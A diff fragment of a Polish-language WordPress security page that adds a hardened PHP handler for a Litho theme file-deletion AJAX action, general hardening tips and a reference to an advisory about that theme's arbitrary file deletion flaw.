||||||
|
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||||
|
wp_send_json_error( 'invalid path', 400 );
|
||||||
|
}
|
||||||
|
// … proceed …
|
||||||
|
}
|
||||||
|
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||||
|
// 🔒 NO wp_ajax_nopriv_ registration
|
||||||
|
```
|
||||||
|
> [!TIP]
|
||||||
|
> **Zawsze** traktuj każdą operację zapisu/usunięcia na dysku jako uprzywilejowaną i podwójnie sprawdź:
|
||||||
|
> • Uwierzytelnienie • Autoryzacja • Nonce • Sanityzacja wejścia • Ograniczenie ścieżki (np. za pomocą `realpath()` oraz `str_starts_with()`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Ochrona WordPressa
|
## Ochrona WordPressa
|
||||||
|
|
||||||
@ -393,7 +469,11 @@ Również, **instaluj tylko zaufane wtyczki i motywy WordPress**.
|
|||||||
- Usuń domyślnego użytkownika **admin**
|
- Usuń domyślnego użytkownika **admin**
|
||||||
- Używaj **silnych haseł** i **2FA**
|
- Używaj **silnych haseł** i **2FA**
|
||||||
- Okresowo **przeglądaj** uprawnienia użytkowników
|
- Okresowo **przeglądaj** uprawnienia użytkowników
|
||||||
- **Ogranicz próby logowania** w celu zapobiegania atakom Brute Force
|
- **Ogranicz próby logowania**, aby zapobiec atakom Brute Force
|
||||||
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
- Zmień nazwę pliku **`wp-admin.php`** i zezwól na dostęp tylko wewnętrznie lub z określonych adresów IP.
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
|
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user